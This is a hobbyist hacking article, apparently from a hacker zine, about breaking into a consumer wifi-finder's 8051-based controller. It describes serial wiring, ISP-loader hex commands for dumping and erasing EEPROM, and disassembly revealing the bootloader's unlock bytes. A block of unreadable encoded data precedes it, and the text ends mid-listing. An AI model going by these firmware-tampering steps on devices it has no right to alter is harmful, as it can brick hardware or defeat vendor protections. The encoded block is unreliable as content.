M89^3+>?,QK8<[*.@R\MGLG#(5G+68UL)]I6AJP@;)%O=.8QM==C7@*XI;"39
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MKP1T>Y6]‘ONKT->$C=<Z9&\&,K*]"?M;T+?E]P+9>X&:RFH-]__0#X2M0/:/
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M-=S_0[^7SQ793X&4^Y3]!/O/T%^$/4OVWT!Y9;6&^W_H’\(^)_L[T)WM;]C’
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MGZ5^SMG/8%^,7JI6VO8O4;_L;.1^@7TM^GJUTK9_G?H-9SO#OAW]HEII^OP_
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M?3IUAK.EL-DQ*]5*VSZ’.M?9!MC^,7>HE;9]‘?5ASJZ‘’13SCEIIVP^F+G1V
M‘^S0F+@JM4-I7TP]S-F[84MB,M5*VWXD]2AGGX4=$S-9K;3MRZC+_6T#MC)F
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MZ@><;81]."9+K;3M=U‘_XNPYL(_’’*E6VO9/4.]T=C/LTS&GJ)6V_3/4S_K;
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M=F[L4VJE;3^/>KZS,V‘7Q?ZL5MKVQU(?Y^QRV,6Q!TY1NYCV2ZA/](\YL$MC
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M?JA::=M?0’VALYU@+XZ?K5;:]FNIU_G’9]CU\>>KE;;]9=27.SL0]HKX>]5*
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M’G9*RG5JI6U?37V4L^?‘3DMY0:VT[6NIZYS=!#LSY4^UTK:OIS[:V6VPLU.Z
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M/HYFIN%\X&XVJ_W\=(QP3\,(%-\1AS,[#O/1+#N*BXN#./?!W0T_!I=6OWFN
MGA36<2BOX]‘87%0<S.\X6-IQ,"NMXZ‘=2Z>AW"#;#F;@8!:N;_F:U78Y<3$[
M8+9N!-K1G(ZC57:+#\XT>#4=S-.#57A\QK’@7&,?5BY+’,M.P[%L/.[J:1TB
M.T-/#2LUDJD’91J<,QS,LB4=S::C;4=R"-L=-)=V1<;SV@[CKBCWB>#Q6,^D
MW?ERTK’*R<‘*M^V.^UF.G-?@2_‘4@<>+L!&%8X:6RJ4+CF;;’8</M]\#<\5@
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M]6+A^]IA?KW!QSM><^#ZLN.XA’C5Q,?Q!(175;@^^(1<?B+C$]H?:X)+.J*P
M=)B=D&]/EGQ"QW-31G!_Y./I‘+A#TG$\0\D7/$,%I^O=V‘99>MXJ2R855U?A
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M??#.T3^-@K>/\17O=6--E\?/,SKF8=7RU#R\N#HX>7CPQUT<EU_LW+RY_=%9
MP04K;9I?;B\$<’%&U,^8B6-X\UDO1^^TX&V%-IG]WY!CY];4XC2\(1L‘O$M!
M9U+_F!R\EXVO>)O/GQZ\R8VOP;.V#JO’_:N+FV\7-S?M/YYI’/,7-S?]OR’’
M\L7-Z[BX>B[Y\N!==)Q;O._E!\’;Z?B*EU-8!K]>O.6$X_]GOX\P2’SGX.UV
M?‘U>%M’AW/;#P36LI^,’5A>.D?^KJJHH&3*NJKBR_>?GX^5*Z5SY/‘/^.:?]
M\A:VRM_R3I6W>>B5JYX#]ZWPD_&./;XESM‘_K?"(*%^#/XGI_%^LY0F[HG!B
MN\EL-UG\F"/_#P>#OVS[3]]‘_^8E^.,.(KC9E5>4C"\I+99?666QO‘+‘\>‘/
M.1EIY<WU\^0343/\:[CVUU’]^6;3L>[?=B9Q7>&9A’]"^S-"\"8CO@9_+/E7
MI[<_M.0’SRHZE).+QE645$UTO[_\MI>;C:5UC3-:9_(Y;9A3*6_3R1\F%@ZM
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M_TM[N47@*^Y@@’2-CAU76!I\+1LFQRK&EP1_H,6Z[2U+?S/BZTMN9?/JY+:/
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M\+9%EFHZ*2/M[T]%_"09UG$N\<8CSECPEV@=A_4C,/89F’Q<#/\DC15>[E7B
M*1H7’+=!_Q2M+Q+\]VG_J;CV\?W"RO]II!^KP=]7ZEK’_ND5B[QVDN^>G^4@
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MPF8L$D8P<"PKM/)HT’>%A;^T#MW1.S2N9"R9(F%U(M<72W2H*>W",[‘=$PY2
M0Z5<W1-X#@P;E=&EV‘/‘R*<<M0GY3LG@@-8!69U.][)UTY],._#^‘06W9Z>\
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--[ 1.0 - Introduction

  Christmas has passed, and in the cold weeks since we have already become
bored with the shiny new toys Santa left us under the tree.  Our only
choice is to hack them!  This article describes our successful attack on a
popular wifi finder, and will provide you with the ability to use the
device in new and interesting ways.  You are limited only by your own
creativity!

  Any successful hack must begin by setting a clear goal.  Through
determination and creative thinking, you will then see the steps necessary
to achieve that goal.  Simply saying "I would like to hack this device" is
meaningless without context, and setting unachievable goals will cause you
to be bogged down by the intermediate steps and probably abandon the
project.  So we urge you to begin each hack by taking small steps, and upon
the completion of each of these steps you will open new doors and new
pathways for further investigation and development.

  In the case of the wifi finder, our penultimate goal was to execute our
own code on it’s internal microcontroller.  We have achieved that goal and
will describe the steps we took to achieve it.  It is easy to see that upon
reaching this goal, we have opened many new pathways to extending the
capabilities of the device.  Some are easy, such as allowing the device to
seach hidden SSIDs and browse wifi channels not allowed in the US.  Others
are lofty, such as the development of a portable "aircracking" device.
Some of these topics will be covered in the future, but we urge you to sit
down with the device and your knowledge of it, and plan your own path.

  We apologize if you feel this text is a long, rambling description of our
attack but we believe the PROCESS, and not the result is the true hack.
Give a man a hack, and he can program his wifi-finder.  Teach a man to
hack, and he can program anything...

  The tools used in this attack are:
- On the hardware side, we used a modified USB to RS232 converter to 
communicate with the serial port on the wifi finder.  An alternative to 
this is to build your own 3.3v RS232 converter using the MAX3232 IC.  
Schematics for this are detailed below.

- On the software side, we used a combination of IDA disassembler [1] and 
Keil A51 assembler [2].  This assembler can be used from the command line, 
or from within the Keil uVision IDE.

  The main steps in this project are
A) Open and identify the devices and their capabilities
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B) Research to find a back-door into the device
C) Construction and operation of interface to communicate with the device
D) Investigation into the device’s internal operation
E) Extension and modification of the device’s operation

  That is just a brief overview of the top-level scheme, and as you will
soon discover, it requires quite a bit of low-level hacking in order to 
achieve each of these steps in turn.  We hope that you will find this 
text informative and enlightening as we chronicle our attack on this 
interesting little device.

--[ 2.0 - Device Overview

  There are a few levels of wifi-finder on the market today.  Some cheap
devices simply detect microwave radiation.  They will detect 802.11, but
also some cordless phones, baby monitors, or the nondescript mom
microwaving some soup down the street.  These are garbage, consisting only
of an amplifier and bandpass filter.  The next level can detect access
points, but give no feedback other than a few lights to tell you whether it
is near or far.  Also garbage.

  The highest tier of wifi-finder today costs between $40 and $100 USD, and
consists of a standalone USB wifi card mated to a host microcontroller and
LCD screen for display of the SSID, channel, and signal strength.  It
contains a small lithium-ion battery for portable use, and charges itself
anytime it is connected to a USB port.  You can easily identify this
device, as it is the only wifi finder with an LCD screen!  This market has
been cornered by one developer selling their design to many companies, so
as of now there is only one true product which has been re-branded to many
models.  In our investigations, we feel that all these devices are
basically identical in hacking potential, and they are all suceptible to
our attacks.  Here is a list of what we’ve found so far, all are available
at your local store or online retailers such as Amazon.com.

  Manufacturer    Model         Reference
  ------------    ---------     ---------
  Allnet          ALL-0298         [3]
  ZyXel           AG-225H          [4]
  ConnecTec       AG-225H          None
  TrendNet        TEW-429UB        [5]
  Linksys         WUSBF54G         [6]
               
  All the devices share a common form factor:  USB stick with an On-Off
switch and two buttons for portable use: "Seek" and "Next".

                Seek   Next
   ______________==_____==______
  |             ___________     |___
  |            |           |      _ |
  | HackMe     |    LCD    |      _ | USB
  |            |___________|     ___|
  |_____________________________|
                     \_/
                On-Off Switch

  Powering on the device when it is disconnected from a PC will start the
finder routine.  Additionally, pressing Seek at most times will restart the
finder routine.  Once some hotspots have been found, pressing Next will
cycle through them, displaying the SSID, Channel, Encryption Type, and
signal Strength.

  By holding Seek upon power-up, the device enters a simple self-test
routine used to check the LCD screen and internal timing.  By holding Next
upon power-up, the device enters a Firmware Upgrade Mode used to upload new
firmware via USB.  Always a wonderful feature!  But don’t think that we
simply patch some boring vendor code and call it a hack:  For most of the
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devices we have found, this firmware upgrade mode has been obsoleted and is
no longer able to upload to the host microcontroller.  We must find a new
way into the micro, and they have not made it easy.

--[ 3.0 - Opening the Device

  The easiest device to open is the ZyXel/Allnet, followed by the Linksys
and then the TrendNet.  By successively "cheapening" the manufacturing
these vendors have inadvertantly made it a pain to get into the box without
damaging it.  But we don’t mind a little damage, and even a TrendNet with
it’s little tabs broken off can be closed back up and returned to the store
without trouble. Not that you would ever do that, of course..  Just an
example.

  To open the device, you will need to remove the BACK panel (not the panel
holding the LCD).  Start by pressing hard at the rear sides of the device,
where the rear is the side WITHOUT the usb connector.  By pressing near 
either of the back corners, you can get the ZyXel to pop open easily.  A 
little prying with the cap can also work wonders and leave no marks.  The 
TrendNet device is secured with 6 very cheap plastic tabs which will 
easily break when you try to open it.  But the Trend it is the most 
inexpensive device on the market so this is the one you will most likely
try to attack.

  Of course, you could always pry it open with a screwdriver if you don’t
care about getting it back together again.  

  Once you get the device open, you will see that it consists of two
circuit boards mated together by a 10-pin header.  The top board is secured
by one small screw near the back of the device.  Feel free to throw the 
screw away, or eat it, or something.  It’s not needed.  The USB/wifi board
contains a ZD1211 802.11 chip and the RF subsystem.  It is basically the
same as a generic USB 802.11 adapter you would buy in the same form factor.
After the screw is removed, you can grab the USB connector and wiggle this
board up, freeing it from the 10-pin header that connects it to the bottom
board.  The bottom board contains the focus of our attack, the mysterious
WHFX30 microcontroller that seems to be the "brains" of the operation.

  Here is a side view of how the boards fit together.  When viewed from
above during disassembly, you will note that the wifi board has the
components on the bottom, and the microcontroller board has the components
on the top.  It is necessary to unconnect the boards to actually see any
interesting components.

                  Side View of the Wifi Finder Boards
                

                 RF (shielded)          ZD1211              USB
Top Board     _____________________________________ _ __________
                |______________|      \________/   |_|    |_____|
                 ____________        _____         | |
Bottom          |____________|--____/     \________|_|_
Board              Battery          WHFX30      10-Pin Header

--[ 4.0 - Internals and Investigation

  As was previously mentioned, the entire top board can be used as a
generic, standalone USB wifi card for your PC.  This architecture using the
ZD1211 chipset is widely used, and to us: boring.  For knowledge on this
board and the ZD1211 device, I refer you to the excellent work of the Linux
community whose drivers and source code are freely available at [7].
There you can browse the source to discover the USB endpoints, register
setup of the ZD1211, promiscuous mode, channels, and other fine
information.
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  But nowhere is there information on the "WHFX30" device...  It is a
ghost, a semi-custom IC that holds the brains of the finder.  Since the
vendor firmware updater is so limited, we must find a way to break into
this mystery chip and get our own code onto it.

  By researching the device online, we see some excellent starting points
of our attack at J. Maushammer’s investigation of the device [8].
Mr. Maushammer was the first one to attempt to hack the device, and the
owner of a great deal of initial information.  He hypothesizes that the
WHFX30 contains an 805x microcontroller, and by disassembling one of the
firmware updates this seems very likely.  He has also outlined some of the
data blocks in the WHFX30 firmware, showing us the font table and power-on
graphics but he goes no further.  Perhaps his goals were too lofty, or he
became bogged down in the intermediate steps.  We are resolved to keep our
goal clear: Get into the WHFX30.

  By investigating the firmware updater file, we can see that only the 16k
block of residing at 0x4000 is 8051 code.  However, it contains no jump
vectors (that would reside at 0x0000) nor any interrupt service routines so
it is probably NOT the entire 8051 program.  Additionally, the text strings
for the self-test and firmware update routines are missing.  This brings us
to the conclusion that the firmware updater is only allowed to touch a
small portion of the device code: Specifically the finder routine.  It also
tells us that the WHFX30 device probably contains more that 16k of code
memory, which is a good thing for extending the capabilities.

  We will take this opportunity to borrow Maushammer’s pinout of the 10-pin
header.  We can make up our own names, but it will be better to begin
forming a standard on how we refer to the device.  Note that we are viewing
the header socket on the bottom (WHFX30) board.

 On-Off Switch
-----/ \----------------
             -----     |
          1 | o o | 2  |
          3 | o o | 4  |
          5 | o o | 6  |
          7 | o o | 8  |
          9 | o o | 10 |
             -----     |
---\_/-----------------
 "Next"

 Pinout
------
J1)  Unknown (for now)
J2) Scanning
J3) Start of Scan
J4) GND
J5) GND
J6) USB Data (obsolete?)
J7) Serial data (ZD1211 TxD, WHFX30 RxD)
J8) USB Data (obsolete?)
J9) Serial Data (ZD1211 RxD, WHFX30 TxD)
J10) USB Power to charger (when connected to PC)

  When faced with a chip that you are not familiar with, it is best to
collect as much information as possible and begin sifting down until you
have a positive identification.  I feel that basically all devices will fit
into one of three categories.

  A) A production chip
    - Information on these devices will be freely, or easily available.
  
  B) A semi-custom chip based on a production chip.
    - Information MAY be available, depending on the secrecy of the
      application.  For example, ATM machines often use generic, secure
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      8051 CPU’s but noone will ever admit this to you.
    
  C) A full-custom chip.
    - Only feasable for huge volume runs, like special graphics chips for
      the new playstation.  Unless you work at Sony or Nvidia the
      likelihood of getting any information on these chips is near 0.
    

  Our device is not an A, and this cheap USB toy does not warrant a C so we
must be stuck in B: Probably an off-the-shelf (but re-marked) chip, or at
least based on one.

  An example of a B-type is a neat CPU I’ve seen in Japanese slot machines.
Way too many pins to be a normal CPU, but the surrounding circuitry is too
crude to be anything else.  What did that one turn out to be?  Well it’s a
generic 8032 microcontroller with a generic EEPROM chip in the same
package.  It’s only made for that manufacturer of Pachislo machines, but
internally it’s all off-the-shelf stuff.  I guess the theory is that by not
knowing what it is, users and competitors won’t be able to access it?
WRONG!  Obscurity does not create security.  That device can be read and
written with a standard EEPROM burner once the pinout is known.

  But back to our little wifi-finder.  We can trace the locations of VDD
(the power supply) and GND pins, and we know it has an RS232 port on a few
other pins.  A few pin locations is often good enough to discover the
identity of an "easy B" - a standard device that is simply marked as
something else.  For this guy, that’s no good.  There are too many 805x
derivatives with too many pinouts for us to make a positive identification.

  We need some additional information.  You could try social engineering,
but it seems the vendors are also unaware of the internals of the WHFX30
and the original design house is under confidentiality to the vendors so
you are probably out of luck here.

  It’s at this point that one of our members resorted to a bit of a dirty
trick in the investigation of the WHFX30.  It’s called "Decap", and it is
basically when a hole is etched into the top of the plastic IC package
using strong acid so you can look at the chip inside.  We do not recommend
you try this yourself, as it is obvously dangerous and is likely to damage
the board if you are not careful!  But for a small fee of $50-$100, there
are companies that can decap your IC even when it is attached to a PCB.
You can find one of these companies by searching some terms such as "SEM"
(scanning electron microscope), "FIB" (focused ion beam), "Decap", "IC
Failure Analysis".  They will be happy to decap your IC for a nominal fee,
and usually laugh and joke with you if you bring in an ipod or some other
high value item.  I find that they are not laughing because you want to
decap some of Apple’s proprietary chips, but that they have already done it
so many times they would rather just tell you what’s inside.  Cheeky
bastards!

  After the WHFX30 was decapped, it was examined with a microscope to find
the logo of the manufacturer: Macronix.  The manufacturer will almost
always put a logo and trademark on the IC, unless it is a matter of great
security or so damn cheap (like a blinkey toy) that the logo is omitted.
With the manufacturer’s name, it was an easy job to research Macronix’s
products until we found one that matched the pinout and capabilities of the
WHFX30: MX10E8050A.  You can download the datasheet of this device from
Keil, who makes a nice compiler/debugger suite called microvision (uVision)
that you will probably use later.  The MX108050A datasheet is available
at [9].
  

  The MX10E8050A is a low-level 8051 clone that offers a few GPIO ports, a
UART, 2k of internal RAM, and a nice big 64k EEPROM (broken into 4x 16k
blocks) for code storage.  Just this little bit of knowledge helps us
decipher what the funny 0x4000 offset in the firmware upgrader is for:  You
can only erase this EEPROM in 16k blocks, and can not (should not?) erase a
block that you are executing code from.  So in order to have a "Firmware
Upgrade Mode", the designers must have put those routines along with the
jump vectors and interrupt service routines down in the first block of
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EEPROM, from 0x0000-0x3FFF.  Next comes the hotspot finder routines in
0x4000-0x7FFF, and the upper two blocks are unused.  NOTE: Actually they
are scratchpad memory for writing the new firmware to before flashing it to
0x4000, but let’s not get into it.

--[ 5.0 - Accessing the ISP Loader

  At this point, things are unraveling fast.  We have completed our
intermediate goals of investigating and identifying our target, and a
little browsing of the MX10 datasheet tells us that there is a deeper
bootloader hardwired into ROM in each device.  That is usually the case in
8051 clones, and large smiles came to our faces as we learned how to bring
it to life.

  We are close to our main goal now, and should soon have the ability to
dump and overwrite the entire 64k of EEPROM with a little help from the ISP
Loader.  But we need a way to talk to the device, as well as a way to
exceute a special startup sequence required to activate this factory ROM
loader.  Let’s start with the power-up sequence.  The datasheet tells us
that if we hold the !PSEN pin low, ALE pin and !EN pin high while leaving
reset we will enter the ISP loader.  

  EA is held high by the board, and ALE will default to high when !PSEN is
forced low so really we only need to hold !PSEN low.  We started by
stabbing it with a grounded needle, which works but risks damaging the 
I/O circuitry in the abused pin.  A little tracing of the PCB showed us 
that J1 on the 10-pin header is used as a !PSEN pulldown during a small
power-on delay.  So it’s simple!  We just ground J1 by connecting it to J4,
and power-up the device.  Boom! We’ve hit the loader!

  When the loader is active, the RS232 port on the WHFX30 is used to
transfer commands and EEPROM data.  However, it is a 3.0v, 0v logic signal
instead of the -12v, 12v signals used by the RS232 port in your PC.  DO NOT
connect your PC to the finder without a suitable interface or you will blow
the WHFX30.  Since the WHFX30 required 3v logic levels, you can use the 3v
version of the popular MAX232 chip, the MAX3232.  Get the datasheet from
Maxim [A].

You will need the ’3232 IC, five 0.1uf capacitors and either a chopped-off
RS232 cable or an RS232 connector. I will describe the circuit here, as
ASCII schematics always leave something to be desired.  In this circuit 
description, some common names are used that are explained here.  VCC or
VDD is the supply voltage for the device, here 3.0v or 3.3v.  GND is the
ground of the device.  RxD is the recieving input, and TxD is the 
transmitting output.  Both the PC and the finder have TxD and RxD lines,
so this interface IC is used to connect the PC’s TxD to the finder’s
RxD and vice versa.  That should help you keep it clear when wiring the
chip.

Wiring steps:
A) Connect your 3v power supply to pin 16. 
NOTE: Connect a cap (C5)from VCC to GND to filter noise.
B) Connect your power supply GND to pin 15.
NOTE: Connect this GND to WHFX30 GND on J4 of the 10-pin header.
C) Pump capacitor C1 connects from pin 1 to pin 3.
D) Pump capacitor C2 connects from pin 4 to pin 5.
E) Reservoir cap C3 connects from pin 2 to GND
F) Reservoir cap C4 connects from pin 6 to GND.
NOTE: Cap C4 has negative polarity, so the + side connects to GND.
G) RS232 RxD (Pin 2 on a 9-pin RS232 connector) connects to pin 14
H) RS232 TxD (pin 3 on a 9-pin RS232 connector) connects to pin 13
I) WHFX30 RxD (Pin J7 on the 10-pin header) connects to pin 12
J) WHFX30 TxD (Pin J9 on the 10-pin header) connects to pin 11

              MAX3232 Interface
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                   ___ ___
+-----)|--- C1+  -|1  U 16|-  Vcc ---|(---GND
|  GND--)|-- V+  -|2    15|-  GND --------GND
+---------- C1-  -|3    14|-  T1out ---> RS232 RxD (RS232 p2)
 +---)|---- C2+  -|4    13|-  R1in  <--- RS232 TxD (RS232 p3)
 +--------- C2-  -|5    12|-  R1out ---> WHFX30 RxD (Header J7)
   GND--|(-- V-  -|6    11|-  T1in  <--- WHFX30 TxD (Header J9)
          T2out  -|7    10|-  T2in
           R2in  -|8     9|-  R2out
                  |_______|
                

  As an alternate route, you can buy a cheap USB-RS232 converter and just
tap into the 3v RxD, TxD pins, saving yourself the trouble of building the
MAX3232 circuit.

                

--[ 6.0 - ISP Loader Capabilities

  OK, you have built and tested your interface board, and connected it to
the wifi finder.  You have jumpered J1 and J4 to enable the bootloader, and
you have powered up the wifi finder while hyperterminal runs on your PC.
What now?

  At first, the device will send nothing or a garbage character.  It’s
waiting for the uppercase "U" in order to detect and configure the baud
rate.  After sending a few "U"’s to the device, it will begin echoing
characters back.  You are now talking to the ISP loader.

  It is at this point that we note a discrepancy in the datasheet.  Maybe
our device is not exactly a MX10E8050A, or maybe they screwed up.  The
datasheet says that either ASCII or binary records can be sent.  We find
that it only responds to binary records (so hyperterminal is somewhat 
limited). But the commands listed in the datasheet are accurate, you just
need to send them in binary form, not ASCII.  Go get a comms program from
the openschemes site listed at the end of the article.

  The records you will send are based on the Intel Hex Record format that
you may have seen in those .HEX files from your compiler.  But this device
uses an extended set to include commands.  The format is the same, though.
Details of the hex record format are available at reference [B] below.

Generic hex record format
: nn aa aa rr dd ... dd cc <crlf>

Number  Data        Description
------  ----        ------------
1)      0x3A        (The ":" character) starts a record.
2)      0xnn        The number of data bytes in the command.
3-4)    0xaa, 0xaa  Address of the location to access, or 00,00 otherwise
                    otherwise
5)      0xrr        The record type (or command type)
6-n)    0xdd.....   Data Packet, of length described in byte #2.
n+1)    0xcc        2’s complement checksum.  Sum, (exept :), mod FF,
                    invert-1

  So upon receipt of a complete command, the device will either respond
with a "." to indicate good checksum, or an "X" to indicate bad checksum.
The only other response would be an "R", if you attempted to write data but
it was not successfully written.  We’ve never recieved one unless we
attempted to write before the EEPROM was erased. 

  Some nice commands are offered in the datasheet, and we’ve come up with
some others.  We will print them as hex strings, because the ASCII looks
like garbage!  A typical set of commands may be the sequence that follows.

---------------------------------------------------------------------------
1) Dump EEPROM.
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0x3A, 0x05, 0x00, 0x00, 0x04, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0xF9

Description: Read EEPROM (0x04) from location 0x0000 to 0xFFFF, checksum
0xF9. 

  This beauty dumps the entire contents of the WHFX30 code memory to
the serial port.  This is the first command you will want to use, in order
to get a clean copy of the 64k EEPROM in case you screw it up later.

---------------------------------------------------------------------------
2) Full Chip Erase
0x3A, 0x01, 0x00, 0x00, 0x03, 0x07, 0xF5

Description: Erase all EEPROM blocks (0x03) + Status byte and Boot vector,
checksum:0xF5.

  You can also do block-wise erase, but this command will clear everything
in the chip, which is our preferred method.  Please note that you will
need to re-write the boot vector after erasing, otherwise the chip will
be stuck in the ISP loader.

---------------------------------------------------------------------------
3) Blank Check Device
0x3A, 0x05, 0x00, 0x00, 0x04, 0x00, 0x00, 0xFF, 0xFF, 0x01, 0xF8

Description: Blank check (0x01) the device from 0x0000 to 0xFFFF

  You can’t successfully program EEPROM with data in it, so you will want
to blank check it.  This takes several seconds if it’s going to pass, but
if you fail it will fail as soon as the chip finds any data.  Cool!

---------------------------------------------------------------------------
4) Program Data
0x3A, 0x10, 0x00, 0xhh, 0xll, 0x00, 16 Data bytes, Checksum

Description: Program EEPROM (0x00) at location 0xhhll with the following
bytes.  First byte is the data length.  Here we use 0x10 for 16 bytes but
that can be changed.  Please note you will need to calculate the checksum
on the fly, and the checksum summation does NOT include the first byte,
0x3A.

If you don’t know how to make intel checksums, here you go:

a) Sum bytes mod 256 (or sum in a byte-wide variable and let it roll over)
b) Convert to 2’s complement.  A cheat for this if you don’t want to look
it up is to subtract your sum from 256 (0x100), or leave as 0 if the
sum turned out to be 0x00.

For those of you unfamiliar with 2’s complement, it is the number required
to make the entire sum equal 0x100.  So for a summation total of 0x7E, our
checksum would be 0x82.  Since we are doing byte-wide checksum, a sum
total of 0x17E or 0x217E would also use a checksum of 0x82, since it is 
only the last byte that counts.  If the sum total is some multiple of
0x100, then the checksum would be 0x00.

---------------------------------------------------------------------------
5) Erase Boot Vector and Status Byte
0x02, 0x00, 0x00, 0x03, 0x04, 0x00, 0xf7

Description: Erase (0x03) the BV/Status byte (0x04) after programming is
completed in preparation for restoring default values.

  After programming, the device will have status and BV set to continue
booting into the ISP loader.  In order to return the chip to normal mode
(booting into EEPROM), we need to clear and rewrite the BV manually. 
Please note that after clearing these bytes, it is very important that you
successfully re-write the BV to it’s default value or you will effectively
DISABLE the ISP loader and will never get back into it.  If you are having
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problems writing the BV, simply do a full-chip erase to get out of this
dangerous condition.  But NEVER power down if you are stuck at step 5.

---------------------------------------------------------------------------
6) Write Boot Vector
0x03, 0x00, 0x00, 0x03, 0x06, 0x01, 0xFC, 0xF7

Description: Write (0x03) boot vector (0x01) to value 0xFC (for 0xFC00),
checksum: 0xF7.

  This resets the boot vector to the default value of 0xFC00.  Do not
power down the device between steps 5 & 6, or the boot vector will be
stuck at 0x0000, running the programmed EEPROM always and disabling
your ability to hit the ISP loader ever again.  

---------------------------------------------------------------------------

  We will assume at this point that you have dumped out the entire 64k of
EEPROM that exists in the device.  A measly 16k will match the data you can
find in the vendor’s firmware upgrade file, which leaves us with MOST of
the data still an unknown.  Fear not, intrepid hacker - we will now frame
out the location and function of this code EEPROM for you.

  The 64k EEPROM is divided into four logical blocks of 16k each.  This 
partitioning is provided by the manufacturer to allow the chip to erase and
reprogram itself in a limited manner.  In all the firmwares investigated, 
the partitioning follows the scheme here  

Partition   Logical Address  Function
---------   ---------------  --------
    1         0000h-3FFFh    Bootloader and Self-Test Routines
    2         4000h-7FFFh    Hotspot Finder Routines    
    3         8000h-BFFFh    Scratchpad 1 - Wifi Data??  Still unsure..
    4         C000h-FFFFh    Scratchpad 2 - Updater Scratchpad    
    
  As is the case with most 8051 microcontrollers, typical execution from
power-on or reset begins at 0000h in partition 1.  Here the micro will
first clear RAM and check for corrupted memory before checking the state
of the buttons.  If either self-test mode or bootloader buttons are 
depressed, the micro will operate exclusively in partition 1.  In the 
"Firmware Upgrade Mode" located in this partition, the micro can erase
and re-write the other blocks.  For example, when a new finder routine is
uploaded in firmware upgrade mode, the micro first erases the C000 block
and writes the downloaded data here.  If the checksum is good, the 4000 
block will be erased and the new finder routine written there.  

  The second partition is the hotspot finder routine, which is what you
see executing whenever the device is actively looking for hotspots.  If
no buttons are held down upon power-up, we will jump over the bootloader
and continue in the finder routine in this block.

  The third partition is used as scratchpad, but it’s function is not
100% determined.  We suspect that it is used to write wifi data but our
notes on this are not verified.

  The fourth partition is used as scratchpad during firmware upgrade mode
to write the new finder firmware temporarily.  Upon entrance into the
firmware upgrade mode, the C000 block is erased.  As new firmware is sent
to the device, it is written here first.  After a successful transfer, 
this data is checksummed for validity.  If valid, the 4000 block is then
erased and this data copied there for permanent use as the new finder
routine.  This simplified upgrade is a bit safer since it is downloaded 
and checksummed before any upgrade is performed, so this will be the 
focus of our next section.     

--[ 7.0 - Software Bootloader Capabilities

  For those who are wary of erasing and fooling with the EEPROM at it’s
lowest levels, we can also communicate with the software bootloader, also
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known as "Firmware Upgrade Mode".  It is limited to working on the 16k
block of EEPROM residing at 0x4000 (the finder routines), but this is still
useful in some cases.  It’s a good alternative for those who don’t want to
risk corrupting the device memory or boot vector.  I consider it very safe,
because the software bootloader itself resides in the 0x0000 block,
separated from the writing and erasing being done at 0x4000 and above.  So
in no case could you lose the ability to go back to the original EEPROM.

  When we power up the device (with no J1-J4 jumper) with the "Next" button
held down, the software bootloader runs as previously discussed.  The
serial port is automatically configured to 115.2k, 8n1 and the device will
begin outputting characters.  It intends to speak to the ZD1211, but we can
simply attach our RS232 interface and communicate with it directly.

  I will not go into all the details here, but we had to disassemble the
bootloader itself to find the commands and communication sequence.  You can
do the same, if you like.  Or, a small program to read and write the device
using firmware upgrade mode is available online.  A quick overview of a 
partial disassembly shows some details we used in development of our
program.

  Upon entrance into firmware upgrade mode, the device sends 8 0x00 bytes 
to the serial port to show it is alive, and then 8 0xA6 bytes to flag that
it is about to erase the 0xC000 block.  After erasing the scratchpad block
the device sends 8 0xA7 bytes.  Finally, it sends 8 0x11 bytes as the 
equivalent of a "command prompt".  A good command will be executed, and a 
bad command will be ignored and will get us to another 8 0x11 bytes.

Although all instructions are not shown, you can see the operation of each
of these sections by our comments here.

Snippet 1: Send the 0xA6’s, erase the 0xC000 block and send the 0xA7’s.
NOTE: All 8 transmissions of 0xA6 and 0xA7 are not shown, but you get
the picture.

053A 7F A6      mov     R7, #0xA6  ; Load 0xA6
053C 12 28 A0   lcall   SerialOut0 ; Send it to the serial port
053F 7F A6      mov     R7, #0xA6  ; Load 0xA6
0541 12 28 A0   lcall   SerialOut0 ; Send it to the serial port
0544 7F C0      mov     R7, #0xC0  ; Load 0xC0 for erasing 0xC000 block
0546 12 29 3C   lcall   Do_IAP_ERASE ; Do the IAP Rom call to erase 0xC000
0549 7F A7      mov     R7, #0xA7  ; Send 8x 0xA7 to signify erasure done
054B 12 28 A0   lcall   SerialOut0
054E 7F A7      mov     R7, #0xA7
0550 12 28 A0   lcall   SerialOut0
0553 7F A7      mov     R7, #0xA7
0555 12 28 A0   lcall   SerialOut0
... And so on ...

Snippet 2: Sending last few 0x11 bytes of the command prompt, and the
inspection of the "password" and command.

058F 7F 11      mov     R7, #0x11  ; Load 0x11
0591 12 28 A0   lcall   SerialOut0 ; Send it to the serial port
0594 7F 11      mov     R7, #0x11  ; Load 0x11
0596 12 28 A0   lcall   SerialOut0 ; Send it to the serial port
0599 12 29 A2   lcall   SerIn_OneByte     ; Get one byte from serial port
059C BF AA D2   cjne    R7, #0xAA, L_571  ; If byte is not 0xAA, bail out
059F 12 29 A2   lcall   SerIn_OneByte     ; Get one byte from serial port
05A2 BF 77 CC   cjne    R7, #0x77, L_571  ; If byte is not 0x77, bail out
05A5 12 29 A2   lcall   SerIn_OneByte     ; Get one byte from serial port
05A8 8F 28      mov     RAM_28, R7   ; Store it in location 28
05AA E5 28      mov     A, RAM_28    ; Store it in A as well
05AC 64 A5      xrl     A, #0xA5     ; XOR it with 0xA5
05AE 70 2B      jnz     L_5DB        ; If NOT 0xA5, continue to "Erasing"
05B0 7F A5      mov     R7, #0xA5    ; Otherwise echo 0xA5’s as ack
05B2 12 28 A0   lcall   SerialOut0
05B5 7F A5      mov     R7, #0xA5
05B7 12 28 A0   lcall   SerialOut0
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  We can see that the bootloader requires a "password" of 0xAA, 0x77 in 
order to get to the beginnings of the command interpreter.  Afterward, it
is looking for the 0xA5 byte to start an upload.  Once it gets an 0xA5, 
it will echo 8 0xA5’s back to the host and continue on to the "Recieving"
routine.

  You will note that these function names are our own, and are obviously 
not embedded in the firmware.  Feel free to make up your own names and
comments if you decide to disassemble the code yourself.  Furthermore,
you will note that in order to erase the 0xC000 block, we must use the
device’s internal ROM calls.  This is an interesting feature supplied
by the IC vendor to make EEPROM programming easier.  The details of the
IAP rom calls are listed in the datasheet, and we will show a short
snippet of the Do_IAP_ERASE call here, just for clarity.

293C Do_IAP_ERASE:
293C 8F 2F        mov     RAM_2F, R7      ; Get the address to erase
293E 75 F8 5A     mov     SFR_F8, #0x5A   ; Write ROM Security code
2941 43 A2 20     orl     FIE, #0x20      ; Set ENBOOT to enable IAP ROM
2944 79 01        mov     R1, #1          ; Function 0x01 (ERASE EEPROM)
2946 8F 83        mov     DPH, R7         ; High byte of address into DPH
2948 75 82 00     mov     DPL, #0         ; Low byte of address into DPL
294B 12 FF F0     lcall   L_FFF0          ; Execute the IAP ROM Call
294E FF           mov     R7, A           ; Store the result in R7
294F 53 A2 DF     anl     FIE, #0xDF      ; Clear the ENBOOT flag
